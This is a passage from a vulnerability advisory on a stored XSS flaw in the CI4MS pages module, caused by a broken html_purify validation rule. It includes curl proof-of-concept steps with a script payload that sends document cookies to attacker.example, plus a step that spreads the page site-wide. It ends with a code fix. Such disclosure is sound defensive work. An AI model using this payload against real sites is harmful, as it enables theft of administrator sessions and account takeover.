CI4MS: Stored XSS in Pages Module Content via Broken html_purify Validation Rule

The row lands in pages_langs.content, which is then read by the public-facing Home::index() controller (app/Controllers/Home.php:31-76) and emitted by the template at app/Views/templates/default/pages.php:32:

<div id="ci4ms-content">
    <?php echo $pageInfo->content ?>     // no esc(), raw HTML output
</div>

CommonLibrary::parseInTextFunctions() (app/Libraries/CommonLibrary.php:45) is called on $pageInfo->content first, but only handles {{form=...}} / {...|...} shortcode-style replacement — it does no HTML sanitization.

This is distinct from the Blog finding:

• Different module/controller (Modules\Pages\Controllers\Pages vs Modules\Blog\Controllers\Blog)
• Different table (pages_langs.content vs blog_langs.content)
• Different view file (templates/{theme}/pages.php vs templates/{theme}/blog/post.php)
• Different route (/<seflink> matched by Home::index vs /blog/<seflink>)
• Pages can be promoted to the site home page via Pages::setHomePage (modules/Pages/Controllers/Pages.php:206), broadening blast radius beyond a single slug to every visitor of /.

Routes are confirmed protected by backendGuard for authentication (modules/Pages/Config/PagesConfig.php:12-17) and require pages.create / pages.update Shield permissions (modules/Pages/Config/Routes.php:4-5).

PoC

Prerequisite: an account with the pages.create (or pages.update) permission. In ci4ms this is a non-admin content-author role.

Step 1 — log in to backend, capture cookies:

curl -k -c cookies.txt -b cookies.txt -X POST https://target/login \
  -d '[email protected]' -d 'password=AuthorPass1!'

Step 2 — create a page with a malicious content payload:

curl -k -b cookies.txt -X POST https://target/backend/pages/create \
  -d 'lang[en][title]=POC' \
  -d 'lang[en][seflink]=poc-page-xss' \
  -d 'lang[en][content]=<script>fetch("https://attacker.example/?c="+encodeURIComponent(document.cookie))</script>' \
  -d 'isActive=1'

Expected: redirect to /backend/pages/1 with lang('Backend.created') flashdata. The DB row pages_langs.content contains the literal <script>...</script> payload.

Step 3 — trigger the XSS by visiting the public URL:

https://target/poc-page-xss

Home::index() selects the row, pages.php:32 emits the raw <script> tag, and the payload runs in every visitor's browser context. If a logged-in administrator browses the public site or follows a link to this slug, their backend session cookie is exfiltrated to attacker.example, enabling full account takeover.

Step 4 — broaden blast radius (optional, requires pages.update):

curl -k -b cookies.txt -X POST https://target/backend/pages/setHomePage/<page_id> \
  -H 'X-Requested-With: XMLHttpRequest'

After this, the malicious page is served at / to every visitor, including unauthenticated visitors and admins navigating to the front-end.

Impact

• Stored XSS in public-facing site: any visitor to a malicious page slug — or to / if the page is set as home — executes the attacker's JavaScript.
• Admin account takeover: an authenticated admin who loads the public page (common during normal site review) leaks their Shield session cookie / CSRF token, enabling the attacker to ride the session against the entire /backend/* surface (full CMS administration, user management, file editor, backups, theme upload).
• Privilege escalation: the attacker only needs pages.create (a role typically delegated to non-admin content authors), but obtains code execution in the admin's browser, escaping the content-author security boundary into the admin's. This is the rationale for S:C in the CVSS vector.
• Persistence and broad reach: the payload is database-backed and survives until the row is edited or deleted; the home-page promotion converts a single-slug XSS into a site-wide drive-by.

Recommended Fix

Stop relying on the broken reference-mutation pattern. The simplest, safest fix is to call the existing sanitizeHtml / getClean helper explicitly when persisting the content. In modules/Pages/Controllers/Pages.php:

use Modules\Backend\Validation\CustomRules;

// Pages::create() — replace line 111
$this->commonModel->create('pages_langs', [
    'pages_id' => $insertID,
    'lang'     => $langCode,
    'title'    => strip_tags(trim($lData['title'])),
    'seflink'  => strip_tags(trim($lData['seflink'])),
    'content'  => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
    'seo'      => $seoData
]);

// Pages::update() — replace line 157
$langUpdate = [
    'title'   => strip_tags(trim($lData['title'])),
    'seflink' => strip_tags(trim($lData['seflink'])),
    'content' => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
    'seo'     => $seoData
];

Apply the same pattern in every other module that uses html_purify (Blog, etc.). For defense-in-depth, also escape on output for any field that is not intended to be raw HTML, and consider rewriting the html_purify rule to operate on $data so the validator stores the sanitized result via getValidated() rather than relying on a reference mutation that the framework discards.